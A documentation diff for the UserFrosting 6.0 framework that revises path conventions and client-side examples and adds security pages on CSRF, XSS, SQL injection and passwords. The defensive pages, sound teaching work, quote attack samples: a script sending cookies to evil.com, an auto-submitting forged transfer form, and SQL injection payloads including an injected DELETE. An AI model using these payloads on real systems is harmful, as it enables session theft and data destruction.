diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md
index c9f8a323..d77924f9 100644
--- a/.github/copilot-instructions.md
+++ b/.github/copilot-instructions.md
@@ -73,17 +73,42 @@ All code snippets should use triple backticks with language specified for syntax
 
 ### Images and Links
 
-**CRITICAL - Image Paths**: Images are stored in `app/pages/{version}/images` alongside the markdown files, and **MUST always use absolute paths starting with `/`**. 
-- ✅ Correct: `![Alt text](/images/screenshot.png)`
-- ❌ Wrong: `![Alt text](images/screenshot.png)` or `![Alt text](../images/screenshot.png)`
+**CRITICAL - Image Paths**: Images are stored in `app/pages/{version}/images/` alongside the markdown files, and **MUST always use a path relative to the _version_ folder, _without_ a starting `/`**. 
+- ✅ Correct: `![Alt text](images/screenshot.png)`
+- ❌ Wrong: `![Alt text](/images/screenshot.png)` or `![Alt text](../images/screenshot.png)`
 Images should be checked to ensure the file exists at the specified path.
 
-Internal links should use absolute paths without version numbers to allow automatic version switching.
-- ✅ Correct: `[Requirements](/installation/requirements)`
-- ❌ Wrong: `[Requirements](installation/requirements)` or `[Requirements](/04.installation/01.requirements)`
+Internal links should use relative paths to the version folder, without version numbers to allow automatic version switching.
+- ✅ Correct: `[Requirements](installation/requirements)`
+- ❌ Wrong: `[Requirements](/installation/requirements)` or `[Requirements](04.installation/01.requirements)`
 
 Pages have anchor links for sections (e.g., `#motivation`). Ensure links point to existing sections.
 
+### Alert Syntax
+
+Alerts can be used to emphasize critical information or provide tips to the user. They are displayed with distinctive colors and icons to indicate the significance of the content.
+
+Use alerts only when they are crucial for user success or to add helpful information. Additionally, you should avoid placing alerts consecutively. Alerts cannot be nested within other elements.
+
+Five types of alerts are available:
+
+```
+> [!NOTE]  
+> Highlights information that users should take into account, even when skimming.
+
+> [!TIP]
+> Optional information to help a user be more successful.
+
+> [!IMPORTANT]  
+> Crucial information necessary for users to succeed.
+
+> [!WARNING]  
+> Critical content demanding immediate user attention due to potential risks.
+
+> [!CAUTION]
+> Negative potential consequences of an action.
+```
+
 ### Chapters and Pages
 Documentation pages are stored in `docs.md` or `chapter.md` files under `app/pages/{version}/` (e.g., `app/pages/6.0/01.quick-start/docs.md`).
 
diff --git a/app/pages/6.0/02.background/01.introduction/docs.md b/app/pages/6.0/02.background/01.introduction/docs.md
index a41ed367..9e6200a6 100644
--- a/app/pages/6.0/02.background/01.introduction/docs.md
+++ b/app/pages/6.0/02.background/01.introduction/docs.md
@@ -9,7 +9,7 @@ The PHP community has evolved considerably over the past two decades, beginning
 
 This breakneck pace has caused a lot of people to get left behind. For someone who hasn't been doing web development continuously for the past decade or more, it can feel like an overwhelming task to get acquainted with all of the new tools and frameworks that seem to be coming out every day. Relevant comic from [Abstruse Goose](http://abstrusegoose.com/503):
 
-![BlooP and FlooP and GlooP](/images/theoretical_mathematics_however_never_goes_out_of_fashion.png)
+![BlooP and FlooP and GlooP](images/theoretical_mathematics_however_never_goes_out_of_fashion.png)
 
 The problem is that when you're a busy developer with real-world projects to work on, it's very difficult to set aside time to read a book about technology X - especially when you're not even sure that you really _need_ to learn X!
 
diff --git a/app/pages/6.0/02.background/02.the-client-server-conversation/docs.md b/app/pages/6.0/02.background/02.the-client-server-conversation/docs.md
index eddd8aff..4e50bc53 100644
--- a/app/pages/6.0/02.background/02.the-client-server-conversation/docs.md
+++ b/app/pages/6.0/02.background/02.the-client-server-conversation/docs.md
@@ -1,12 +1,11 @@
 ---
 title: The Client-Server Conversation
 description: Many developers do not really understand the basics of how HTTP and web applications work. This discussion attempts to clarify some common misconceptions.
-obsolete: true
 ---
 
 One of the most common misconceptions is that web applications are coherent pieces of software that sit on a server somewhere, and that the client "runs" this application in their browser. This is actually an illusion, carefully crafted to provide a smooth experience for the end user.
 
-In reality, web applications are *conversations* between two agents with very poor memory - the **server**, and the **client** - which may be a web browser, mobile app, or another application. In modern web applications both the client *and* the server are typically going to need to run some code throughout their conversation. What's more, in the case of a PHP application, the client and server don't even speak the same language! The server runs only PHP, while the client runs only Javascript. (Note that there *are* server-side Javascript stacks, but we do not use them.)
+In reality, web applications are *conversations* between two agents with very poor memory - the **server**, and the **client** - which may be a web browser, mobile app, or another application. In modern web applications both the client *and* the server are typically going to need to run some code throughout their conversation. What's more, in the case of a PHP application, the client and server don't even speak the same language! The server runs PHP (via UserFrosting's Slim-based backend), while the client runs JavaScript (often with frameworks like Vue). Note that there *are* server-side JavaScript stacks, but UserFrosting is built on PHP.
 
 ## Server-side versus client-side code
 
@@ -32,60 +31,53 @@ You don't need to do anything. Your web server is configured to do this automati
 
 > How do I get PHP in my Javascript?
 
-Again, clients can't run PHP in their browsers. If you want to pass along the values of some PHP variables to the Javascript you send back to the client, you need to explicitly *generate* Javascript variables using PHP. For example:
-
-```html
-<?php
-
-    // This is a PHP variable - (note the leading $)
-    $baseUrl = "https://owlfancy.com";
-
-?>
+Again, clients can't run PHP in their browsers. If you want to pass along the values of some PHP variables to the JavaScript you send back to the client, you need to explicitly *generate* JavaScript variables using your templating engine. UserFrosting uses **Twig** for this. For example:
 
+```twig
 <button id="updateButton" type="button">Update My Owl</button>
 
 <script>
-    // This is a Javascript variable - (note no leading $)
+    // JavaScript variable populated by PHP
     let baseUrl = <?php echo $baseUrl; ?> ;
 
-    // Our Javascript code can now reference the Javascript variable baseUrl
-    $("#updateButton").on("click", function () {
-        $("#myOwlLink").prop("attr", baseUrl + "/great-horned-owl");
+    // Our JavaScript code can now reference the baseUrl variable
+    document.getElementById('updateButton').addEventListener('click', () => {
+        document.getElementById('myOwlLink').href = `${baseUrl}/great-horned-owl`;
     });
 </script>
 ```
 
-UserFrosting has a cleaner way of doing this using the Twig templating engine, but the principle is still the same.
+This uses PHP syntax to inject server-side values into the client-side JavaScript. It can also be done using Twig's `{{ }}` syntax. The templating happens server-side before the HTML is sent to the browser.
 
 For more complex PHP code that needs to be run in the middle of a block of Javascript code (for example, querying the database, which can *only* be done server-side), we'll need a way to let Javascript code ask the server to run some code on its behalf. Remember, the only way we can run code on the server is by making requests and then waiting for a response!
 
-Fortunately, modern browsers support something called AJAX, which allows Javascript code to automatically make requests to the server. Thus, you might see something like:
-
-```php
-<?php
-    $baseUrl = "https://owlfancy.com";
-    $owlId = getUserOwlId();
-?>
+Fortunately, modern browsers support something called AJAX (Asynchronous JavaScript and XML), which allows JavaScript code to make requests to the server without reloading the page. Applications typically use the modern `fetch()` API for this. For example:
 
+```twig
 <button id="seeVoleHuntResults" type="button">See Vole Hunt Results</button>
 
 <script>
     let baseUrl = "<?php echo $baseUrl; ?>";
     let owlId = "<?php echo $owlId; ?>";
 
-    $("#seeVoleHuntResults").on("click", function () {
-        // This is a jQuery AJAX function that generates another request to the server!
-        $.getJSON(baseUrl + "/vole-hunt/today",
-        {
-            "owl_id": owlId
-        }).done(function(data) {
-            // This is what the browser does when the request is complete successfuly.
-            alert(data['voles_caught']);
-        });
+    document.getElementById('seeVoleHuntResults').addEventListener('click', async () => {
+        try {
+            // Modern fetch API generates an asynchronous request to the server
+            const response = await fetch(`${baseUrl}/api/vole-hunt/today?owl_id=${owlId}`);
+            const data = await response.json();
+            
+            // Display the result when the request completes successfully
+            alert(`Voles caught: ${data.voles_caught}`);
+        } catch (error) {
+            console.error('Failed to fetch vole hunt results:', error);
+        }
     });
 </script>
 ```
 
+> [!NOTE]
+> For more complex interactions, UserFrosting supports **Vue 3** components, which provide a more structured way to build reactive user interfaces. Vue components handle state management, reactive data binding, and component lifecycle automatically, making it easier to build sophisticated client-side features. You'll learn more about Vue integration in the [Asset Management](/asset-management) chapter.
+
 ### The Big Picture
 
 Let's take a step back and talk about what's really going on here.
@@ -94,9 +86,9 @@ Let's take a step back and talk about what's really going on here.
 
 *requests a dynamically generated resource from the server...*
 
-*which contains some HTML and Javascript...*
+*which contains some HTML, JavaScript, CSS, and references to other assets...*
 
-*that Javascript contains instructions for the user's browser...*
+*that JavaScript contains instructions for the user's browser...*
 
 *one of which is to automatically ask the server for some JSON data whenever the user presses a certain button...*
 
@@ -114,13 +106,13 @@ It might be easier to understand this whole process if we provide an example of
 
 **owlfancy.com:** "Sure. Looks like for that resource, I'm supposed to run this bit of code over here. Let's see what happens when I do that...Ok, it's done!  Looks like it returned some HTML. Here you go. The status code is 200. Let me know if you need anything else. Bye!"
 
-**Your browser:** "Hmm, according to this, I'm supposed to ask you for *jquery.js*, *bootstrap.js*, *pellet.js*, *bootstrap.css*, and something called */images/preening.jpg*. Can I have those as well please?  I'm also supposed to get *https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic*, but that's not your problem. I can ask *fonts.googleapis.com* myself.
+**Your browser:** "Hmm, according to this, I'm supposed to ask you for some JavaScript bundles (*app.js*, *vendor.js*), some CSS (*theme.css*), and something called */images/preening.jpg*. Can I have those as well please?  I'm also supposed to get *https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic*, but that's not your problem. I can ask *fonts.googleapis.com* myself.
 
 **owlfancy.com: (for each requested item):** "Sure, here you go. Let me know if you need anything else. Bye!"
 
-**Your browser:** "Ok, now I'll run all this CSS and Javascript code."  *Runs jquery.js, bootstrap.js, and pellet.js*
+**Your browser:** "Ok, now I'll run all this CSS and JavaScript code."  *Runs app.js and vendor.js*
 
-**Your browser:** "Hmm, looks like I'm supposed to give these boxes over here a border and shadow, change the font for this to Lora, and set it up so that when someone clicks "Forage", a picture of an owl swoops across the screen. Oh, it also wants me to tell Google Analytics and Facebook what I just did. Sure, after all my owner didn't tell me *not* to do that...I'll just send that information right now.
+**Your browser:** "Hmm, looks like I'm supposed to give these boxes over here a border and shadow, change the font for this to Lora, mount some Vue components, and set it up so that when someone clicks "Forage", a picture of an owl swoops across the screen. Oh, it also wants me to tell Google Analytics and Facebook what I just did. Sure, after all my owner didn't tell me *not* to do that...I'll just send that information right now.
 
 **Your browser:** "La la, waiting for my user to do something..."
 
diff --git a/app/pages/6.0/02.background/03.develop-locally-serve-globally/docs.md b/app/pages/6.0/02.background/03.develop-locally-serve-globally/docs.md
index 7982255f..35a51eed 100644
--- a/app/pages/6.0/02.background/03.develop-locally-serve-globally/docs.md
+++ b/app/pages/6.0/02.background/03.develop-locally-serve-globally/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Develop Locally, Serve Globally
 description: The right way to approach development.
-obsolete: true
 ---
 
 Just about every week, we see someone wander into [chat](https://chat.userfrosting.com) and ask:
@@ -28,9 +27,9 @@ In this same vein, any framework or CMS that has you do a "one-click install" is
 
 ## Setting up a local development environment
 
-If you think that setting up a local environment is too much work, think again! On a MacOS or Linux computer, setting up a local environment simply consist of installing a couple of apps through the command line. On a Windows 10 or 11 machine, an additional step is required : Installing the *Windows Subsystem for Linux (WSL2)*! 
+If you think that setting up a local environment is too much work, think again! On a MacOS or Linux computer, setting up a local environment simply consist of installing a couple of apps through the command line. On a Windows 10 or 11 machine, an additional step is required : Installing the *Windows Subsystem for Linux (WSL2)*!
 
-And the sprinkle on the cupcake is the [next chapter](installation) will teach you how to do everything yourself!
+And the sprinkle on the cupcake is the [Installation chapter](/installation) will teach you how to do everything yourself!
 
 > [!WARNING]
 > There are a number of "one-click" installers available, which can set up your machine with a complete web application stack in just a few minutes: **XAMPP**, **MAMP**, **WampServer**, etc. **These are not officially supported by UserFrosting and we do not recommend using them.** They can be slow, out of date or use obscure configuration. They were useful at some point, but with modern tools, especially with WSL2 on Windows, it's never been easier to install every tool you need locally If you insist on using a "one-click" solution, [Docker](#alternatives-to-installing-a-stack-natively-docker) is a [great, modern alternative](https://www.reddit.com/r/PHP/comments/gqhg15/comment/frt8cp0/).
diff --git a/app/pages/6.0/02.background/04.dont-reinvent-the-wheel/docs.md b/app/pages/6.0/02.background/04.dont-reinvent-the-wheel/docs.md
index 484cc5dd..1b22de1e 100644
--- a/app/pages/6.0/02.background/04.dont-reinvent-the-wheel/docs.md
+++ b/app/pages/6.0/02.background/04.dont-reinvent-the-wheel/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Don't Reinvent the Wheel
 description: Using third-party components reduces the amount of software maintenance you have to do and documentation you have to write, and lets you draw on the wider community of other developers who use those packages for troubleshooting and support.
-obsolete: true
 ---
 
 I think that for a lot of developers - novices and professionals alike - building on top of others' work can seem like a betrayal of our trade. We're not "real" developers unless we built everything with our bare hands from scratch, and know firsthand the nitty-gritty details of how our code works. With third-party components, we have to take time to actually *learn* how to use them, and follow *their* rules. I get it. It all feels so antithetical to the DIY spirit that got so many of us into coding in the first place. Trust me, as someone who built a cold frame out of some doors and framing I found in the dumpster, I know:
diff --git a/app/pages/6.0/02.background/05.security/01.server-misconfiguration/docs.md b/app/pages/6.0/02.background/05.security/01.server-misconfiguration/docs.md
index ec95be1d..9a6de812 100644
--- a/app/pages/6.0/02.background/05.security/01.server-misconfiguration/docs.md
+++ b/app/pages/6.0/02.background/05.security/01.server-misconfiguration/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Server Misconfiguration
 description: Server misconfiguration is one of the top 10 vulnerabilities of any web application, according to OWASP. Most of these misconfigurations occur because of inexperienced developers or system administrators, and are simple to fix.
-obsolete: true
 ---
 
 As we discussed in [The Client-Server Conversation](background/the-client-server-conversation), it's important to distinguish between the code that is running on the server, and the response that it sends back to the client.
diff --git a/app/pages/6.0/02.background/05.security/02.csrf-protection/docs.md b/app/pages/6.0/02.background/05.security/02.csrf-protection/docs.md
new file mode 100644
index 00000000..b0af6fd8
--- /dev/null
+++ b/app/pages/6.0/02.background/05.security/02.csrf-protection/docs.md
@@ -0,0 +1,48 @@
+---
+title: CSRF Protection
+description: Cross-Site Request Forgery (CSRF) attacks trick authenticated users into executing unwanted actions. UserFrosting provides built-in CSRF protection to prevent these attacks.
+---
+
+## What is CSRF?
+
+Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application. If a user is authenticated to your site, an attacker can trick their browser into making requests to your application on their behalf.
+
+For example, imagine a user is logged into your banking application. They then visit a malicious website that contains this hidden form:
+
+```html
+<form action="https://yourbank.com/transfer" method="POST" id="evil">
+    <input type="hidden" name="to" value="attacker-account">
+    <input type="hidden" name="amount" value="10000">
+</form>
+<script>document.getElementById('evil').submit();</script>
+```
+
+Because the user is already authenticated (their browser has the session cookie), this request would succeed unless you have CSRF protection in place.
+
+## How UserFrosting Protects Against CSRF
+
+UserFrosting uses **CSRF tokens** to protect against these attacks. A CSRF token is a unique, secret value generated by the server and tied to the user's session. When a form is submitted or an AJAX request is made, the token must be included in the request. The server validates that the token matches what it expects for that session.
+
+We'll see in [a later chapter](/routes-and-controllers/client-input/csrf-guard) how to include CSRF tokens in your forms and AJAX requests.
+
+## When CSRF Protection Applies ?
+
+CSRF protection is relevant to:
+- **POST** requests
+- **PUT** requests  
+- **DELETE** requests
+- **PATCH** requests
+
+**GET** requests are not protected, as they shouldn't modify state anyway.
+
+If a CSRF token is missing or invalid, the system should reject the request with a 400 Bad Request error. This protects your application but means you need to ensure:
+
+1. Every form includes the CSRF token
+2. AJAX requests include the token in the payload
+3. Tokens are refreshed if sessions expire
+4. Single-page applications properly manage token lifecycle
+
+> [!WARNING]
+> Never disable CSRF protection in production. If you're having issues with CSRF validation, fix the root cause rather than disabling this critical security feature.
+
+For stateless APIs that use token-based authentication (like OAuth or JWT), CSRF protection is typically not needed because there are no cookies involved. However, if your API endpoints rely on session cookies for authentication, CSRF protection is essential.
diff --git a/app/pages/6.0/02.background/05.security/03.xss-prevention/docs.md b/app/pages/6.0/02.background/05.security/03.xss-prevention/docs.md
new file mode 100644
index 00000000..a7655b97
--- /dev/null
+++ b/app/pages/6.0/02.background/05.security/03.xss-prevention/docs.md
@@ -0,0 +1,191 @@
+---
+title: XSS Prevention
+description: Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into your web pages. Learn how UserFrosting's templating engine and best practices protect against XSS attacks.
+---
+
+## What is XSS?
+
+Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into web pages viewed by other users. When successful, XSS can allow attackers to:
+
+- Steal session cookies and impersonate users
+- Capture keystrokes and form data
+- Deface websites
+- Redirect users to malicious sites
+- Execute actions on behalf of the victim
+
+There are three main types of XSS:
+
+### 1. Stored XSS (Persistent)
+
+The malicious script is permanently stored on your server (e.g., in a database) and served to users when they view the affected page.
+
+**Example:** An attacker posts a comment containing:
+```html
+<script>
+    fetch('https://evil.com/steal?cookie=' + document.cookie);
+</script>
+```
+
+If this is stored and displayed without proper escaping, it will execute in every visitor's browser.
+
+### 2. Reflected XSS
+
+The malicious script is reflected off the web server in an error message, search result, or any response that includes user input.
+
+**Example:** A search page that displays:
+```html
+You searched for: <script>alert('XSS')</script>
+```
+
+### 3. DOM-based XSS
+
+The vulnerability exists in client-side code that improperly handles user input.
+
+**Example:**
+```javascript
+// Dangerous!
+document.getElementById('welcome').innerHTML = 
+    'Welcome, ' + location.hash.substring(1);
+```
+
+An attacker could use a URL like `#<script>alert('XSS')</script>` to inject code.
+
+## How UserFrosting Protects Against XSS
+
+### Automatic Output Escaping with Twig
+
+UserFrosting uses **Twig** as its templating engine, which **automatically escapes all output by default**. This means that HTML special characters are converted to their safe equivalents:
+
+```twig
+{# This is safe - Twig automatically escapes the output #}
+<p>Welcome, {{ user.name }}</p>
+```
+
+If `user.name` is `<script>alert('XSS')</script>`, Twig will output:
+```html
+<p>Welcome, &lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt;</p>
+```
+
+The script tag is displayed as text instead of being executed.
+
+### Rendering Raw HTML (Use with Caution)
+
+Sometimes you genuinely need to output HTML (e.g., user-generated content with formatting). Twig provides the `raw` filter for this, but **use it with extreme caution**:
+
+```twig
+{# Only use raw with trusted, sanitized content! #}
+{{ article.content | raw }}
+```
+
+> [!CAUTION]
+> Never use the `raw` filter with unsanitized user input. Always sanitize HTML content using a library like [HTML Purifier](http://htmlpurifier.org/) before storing or displaying it.
+
+### Sanitizing HTML Input
+
+If you need to allow users to submit HTML (e.g., rich text editors), you must sanitize it server-side before storing it:
+
+```php
+use HTMLPurifier;
+use HTMLPurifier_Config;
+
+// Create a sanitizer configuration
+$config = HTMLPurifier_Config::createDefault();
+$config->set('HTML.Allowed', 'p,b,i,em,strong,a[href],ul,ol,li');
+
+$purifier = new HTMLPurifier($config);
+$cleanHtml = $purifier->purify($userInput);
+```
+
+This removes any dangerous tags and attributes while preserving safe formatting.
+
+## JavaScript Best Practices
+
+### Avoid innerHTML with User Data
+
+Never use `innerHTML` or similar methods with unsanitized user input:
+
+```javascript
+// Dangerous!
+element.innerHTML = userInput;
+
+// Safe alternatives:
+element.textContent = userInput;  // For plain text
+element.innerText = userInput;    // For plain text
+```
+
+### Use textContent or createElement
+
+For dynamic content, use safe DOM methods:
+
+```javascript
+// Safe approach
+const div = document.createElement('div');
+div.textContent = userInput;  // Automatically escaped
+parent.appendChild(div);
+```
+
+### Be Careful with eval() and Similar Functions
+
+Never use `eval()`, `Function()`, `setTimeout(string)`, or `setInterval(string)` with user input:
+
+```javascript
+// Extremely dangerous!
+eval(userInput);
+setTimeout(userInput, 1000);
+
+// Safe alternatives use functions directly:
+setTimeout(() => {
+    // Your code here
+}, 1000);
+```
+
+### Validate URLs in Anchors
+
+When creating links dynamically, validate that URLs don't use the `javascript:` protocol:
+
+```javascript
+// Dangerous if url comes from user input
+element.href = url;
+
+// Safer approach
+function isSafeUrl(url) {
+    return url.startsWith('http://') || 
+           url.startsWith('https://') || 
+           url.startsWith('/');
+}
+
+if (isSafeUrl(url)) {
+    element.href = url;
+}
+```
+
+## Content Security Policy (CSP)
+
+Consider implementing a Content Security Policy header to provide an additional layer of protection. CSP restricts what resources can be loaded and executed:
+
+```
+Content-Security-Policy: 
+    default-src 'self'; 
+    script-src 'self' https://trusted-cdn.com; 
+    style-src 'self' 'unsafe-inline';
+    img-src 'self' data: https:;
+```
+
+This tells the browser to only execute scripts from your domain and a trusted CDN, significantly reducing the impact of XSS vulnerabilities.
+
+## Vue.js and XSS
+
+If you're using Vue components in UserFrosting:
+
+```html
+<template>
+    <!-- Safe - Vue escapes by default -->
+    <div>{{ userInput }}</div>
+    
+    <!-- Dangerous - renders raw HTML -->
+    <div v-html="userInput"></div>
+</template>
+```
+
+> [!WARNING]
+> Never use `v-html` with unsanitized user input. The same sanitization rules apply as with Twig's `raw` filter.
diff --git a/app/pages/6.0/02.background/05.security/04.sql-injection/docs.md b/app/pages/6.0/02.background/05.security/04.sql-injection/docs.md
new file mode 100644
index 00000000..73656a86
--- /dev/null
+++ b/app/pages/6.0/02.background/05.security/04.sql-injection/docs.md
@@ -0,0 +1,272 @@
+---
+title: SQL Injection Prevention
+description: SQL injection is one of the most dangerous web vulnerabilities. Learn how UserFrosting's use of Eloquent ORM and prepared statements protects your application.
+---
+
+## What is SQL Injection?
+
+SQL injection is a code injection technique where attackers insert malicious SQL code into queries, potentially allowing them to:
+
+- Read sensitive data from the database
+- Modify or delete database records
+- Execute administrative operations
+- In some cases, execute commands on the operating system
+
+### Example of a Vulnerable Query
+
+Consider this dangerous PHP code:
+
+```php
+// NEVER DO THIS!
+$username = $_POST['username'];
+$password = $_POST['password'];
+
+$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
+$result = $db->query($sql);
+```
+
+An attacker could submit:
+- Username: `admin' --`
+- Password: (anything)
+
+The resulting query becomes:
+```sql
+SELECT * FROM users WHERE username = 'admin' -- AND password = ''
+```
+
+The `--` comments out the rest of the query, allowing the attacker to log in as admin without knowing the password!
+
+## How UserFrosting Protects Against SQL Injection
+
+UserFrosting uses **Laravel's Eloquent ORM** and the **query builder**, which automatically use **prepared statements** with parameter binding. This separates SQL code from data, making injection attacks impossible.
+
+### Safe Queries with Eloquent
+
+When using Eloquent models, queries are automatically protected:
+
+```php
+use UserFrosting\Sprinkle\Account\Database\Models\User;
+
+// Safe - uses parameter binding internally
+$user = User::where('username', $username)
+    ->where('email', $email)
+    ->first();
+
+// Also safe - even with multiple conditions
+$users = User::where('last_login', '>', $date)
+    ->where('group_id', $groupId)
+    ->get();
+```
+
+### Safe Queries with the Query Builder
+
+The query builder also uses prepared statements:
+
+```php
+use Illuminate\Database\Connection;
+
+class MyService
+{
+    public function __construct(
+        protected Connection $db
+    ) {}
+    
+    public function getActiveUsers(): Collection
+    {
+        // Safe - parameters are bound
+        return $this->db->table('users')
+            ->where('status', 'active')
+            ->where('age', '>', 18)
+            ->get();
+    }
+    
+    public function getAdmins(): Collection
+    {
+        // Safe - using whereIn
+        return $this->db->table('users')
+            ->whereIn('role_id', [1, 2, 3])
+            ->get();
+    }
+}
+```
+
+### Parameterized Raw Queries
+
+If you need to use raw SQL, always use parameter binding:
+
+```php
+// Safe - using parameter binding with positional parameters
+$users = $this->db->select(
+    'SELECT * FROM users WHERE email = ? AND status = ?', 
+    [$email, 'active']
+);
+
+// Also safe - using named parameters
+$users = $this->db->select(
+    'SELECT * FROM users WHERE email = :email AND status = :status', 
+    ['email' => $email, 'status' => 'active']
+);
+```
+
+## Dangerous Patterns to Avoid
+
+### Never Concatenate User Input into Queries
+
+```php
+// EXTREMELY DANGEROUS!
+$sql = "SELECT * FROM users WHERE username = '" . $username . "'";
+$this->db->select($sql);
+
+// Also dangerous with query builder!
+$this->db->table('users')
+    ->whereRaw("username = '" . $username . "'")  // DON'T DO THIS
+    ->get();
+```
+
+### Be Careful with WhereRaw and Raw Expressions
+
+While `whereRaw()` can be necessary for complex queries, never include unescaped user input:
+
+```php
+// Dangerous!
+$this->db->table('users')
+    ->whereRaw("YEAR(created_at) = " . $_GET['year'])
+    ->get();
+
+// Safe - use parameter binding
+$this->db->table('users')
+    ->whereRaw("YEAR(created_at) = ?", [$year])
+    ->get();
+```
+
+### Dynamic Column Names
+
+Be extremely careful when user input determines which column to query:
+
+```php
+// Dangerous if $column comes from user input!
+$results = User::where($column, $value)->get();
+
+// Safe - whitelist allowed columns
+$allowedColumns = ['username', 'email', 'created_at'];
+if (in_array($column, $allowedColumns)) {
+    $results = User::where($column, $value)->get();
+} else {
+    throw new \InvalidArgumentException('Invalid column name');
+}
+```
+
+### ORDER BY and Dynamic Sorting
+
+User-controlled sorting can be exploited:
+
+```php
+// Dangerous!
+$orderBy = $_GET['sort'];  // Could be: "username; DELETE FROM users--"
+User::orderBy($orderBy)->get();
+
+// Safe - whitelist columns and directions
+$allowedColumns = ['username', 'email', 'created_at'];
+$allowedDirections = ['asc', 'desc'];
+
+$column = in_array($_GET['sort'], $allowedColumns) ? $_GET['sort'] : 'username';
+$direction = in_array($_GET['dir'], $allowedDirections) ? $_GET['dir'] : 'asc';
+
+User::orderBy($column, $direction)->get();
+```
+
+## Advanced Protection Techniques
+
+### Input Validation with Fortress
+
+While Eloquent protects against SQL injection, you should still validate input. UserFrosting includes **Fortress**, a validation and sanitization library that helps ensure data conforms to expected types and formats:
+
+```php
+use UserFrosting\Fortress\RequestSchema;
+use UserFrosting\Fortress\Adapter\JqueryValidationAdapter;
+
+// Define validation rules
+$schema = new RequestSchema('schema://requests/user.yaml');
+
+// Validate request data
+$validator = new JqueryValidationAdapter($schema, $this->translator);
+$validator->validate($data);
+
+// At this point, data is validated and safe to use
+$user = User::find($data['user_id']);
+```
+
+Fortress schemas can define:
+- Data types (integer, string, email, etc.)
+- Length constraints
+- Regular expression patterns
+- Custom validation rules
+
+This provides defense-in-depth: even if an attacker somehow bypassed client-side validation, Fortress catches invalid input on the server before it reaches your database queries.
+
+For simple type validation:
+
+```php
+// Validate that user ID is actually a number
+if (!is_numeric($userId)) {
+    throw new \InvalidArgumentException('User ID must be numeric');
+}
+
+$user = User::find($userId);
+```
+
+### Principle of Least Privilege
+
+Configure your database user with minimal permissions:
+
+```sql
+-- Database user should only have necessary permissions
+GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'myapp_user'@'localhost';
+
+-- Avoid giving DELETE or DROP permissions unless necessary
+```
+
+### Use Views for Complex Queries
+
+For complex reporting queries, consider using database views:
+
+```sql
+CREATE VIEW active_users AS
+SELECT id, username, email, created_at
+FROM users
+WHERE status = 'active' AND deleted_at IS NULL;
+```
+
+Then query the view safely:
+```php
+$users = $this->db->table('active_users')->get();
+```
+
+## What About Table/Column Names?
+
+Eloquent and the query builder handle table and column names correctly, but if you need to work with dynamic table names:
+
+```php
+// Whitelist table names
+$allowedTables = ['users', 'roles', 'permissions'];
+
+if (!in_array($tableName, $allowedTables)) {
+    throw new \InvalidArgumentException('Invalid table name');
+}
+
+$this->db->table($tableName)->get();
+```
+
+## Testing for SQL Injection
+
+You can test your application for SQL injection vulnerabilities by trying these payloads in your inputs:
+
+```
+' OR '1'='1
+' OR '1'='1' --
+' OR '1'='1' /*
+admin' --
+') OR ('1'='1
+```
+
+If your application uses Eloquent/query builder properly, these should be treated as literal strings and won't execute as SQL.
diff --git a/app/pages/6.0/02.background/05.security/05.authentication-and-passwords/docs.md b/app/pages/6.0/02.background/05.security/05.authentication-and-passwords/docs.md
new file mode 100644
index 00000000..9ae17fca
--- /dev/null
+++ b/app/pages/6.0/02.background/05.security/05.authentication-and-passwords/docs.md
@@ -0,0 +1,78 @@
+---
+title: Authentication & Password Security
+description: Proper authentication and password handling are fundamental to application security. Learn how UserFrosting implements secure authentication and password storage.
+---
+
+## Password Storage
+
+Never, ever store passwords in plain text. If your database is compromised, plain text passwords allow attackers to access user accounts not only on your site, but potentially on other sites where users have reused passwords.
+
+## How UserFrosting Stores Passwords and Secures Accounts
+
+UserFrosting uses **bcrypt** hashing to securely store passwords. Bcrypt is specifically designed for password hashing and includes:
+
+- **Salting**: Each password gets a unique salt
+- **Cost factor**: Computational difficulty that can be increased over time
+- **Slow hashing**: Deliberately slow to make brute-force attacks impractical
+
+### Minimum Password Complexity
+
+UserFrosting's default password rules require:
+- Minimum length (typically 8-12 characters)
+- Mix of character types (uppercase, lowercase, numbers, symbols)
+
+These can be customized through validation rules and configuration.
+
+### Session Hijacking Prevention
+
+UserFrosting implements several protections against session hijacking:
+
+**1. Regenerate Session ID on Login**
+
+This prevents session fixation attacks where an attacker tricks a user into using a known session ID.
+
+**2. HTTP-Only Cookies**
+
+Session cookies are marked `HttpOnly`, preventing JavaScript from accessing them. This mitigates XSS-based session theft.
+
+**3. Secure Flag for HTTPS**
+
+When using HTTPS, session cookies are marked `Secure`, ensuring they are only sent over encrypted connections.
+
+**4. SameSite Cookie Attribute**
+
+Helps prevent CSRF attacks by restricting cross-site cookie sending.
+
+### Session Timeout
+
+Implement appropriate session timeouts to limit the window for session hijacking:
+
+```php
+// UserFrosting's config
+'session' => [
+    'timeout' => 3600,  // 1 hour in seconds
+    'remember_me_timeout' => 604800,  // 1 week for "remember me"
+],
+```
+
+### Multi-Factor Authentication (MFA)
+
+While UserFrosting does not include built-in multi-factor authentication (MFA) by default, it is highly recommended for enhancing security. 
+
+Consider implementing multi-factor authentication for sensitive applications. UserFrosting can be extended with MFA using packages like:
+
+- TOTP (Time-based One-Time Password) - Google Authenticator, Authy
+- SMS-based codes
+- Email-based codes
+- Hardware tokens (U2F, WebAuthn)
+
+> [!NOTE]
+> Future versions of UserFrosting may include built-in MFA support. Check the documentation for updates.
+
+### Throttling
+
+Protect against brute-force attacks by implementing account lockout. After a certain number of failed login attempts, UserFrosting temporarily locks the login form for that user or IP address.
+
+### Password Reset Security
+
+Password reset functionality is a common attack vector. UserFrosting implements secure password resets using time-limited, single-use tokens and email verification.
diff --git a/app/pages/6.0/02.background/05.security/docs.md b/app/pages/6.0/02.background/05.security/docs.md
index 99e5e09f..76957790 100644
--- a/app/pages/6.0/02.background/05.security/docs.md
+++ b/app/pages/6.0/02.background/05.security/docs.md
@@ -1,9 +1,44 @@
 ---
 title: Security
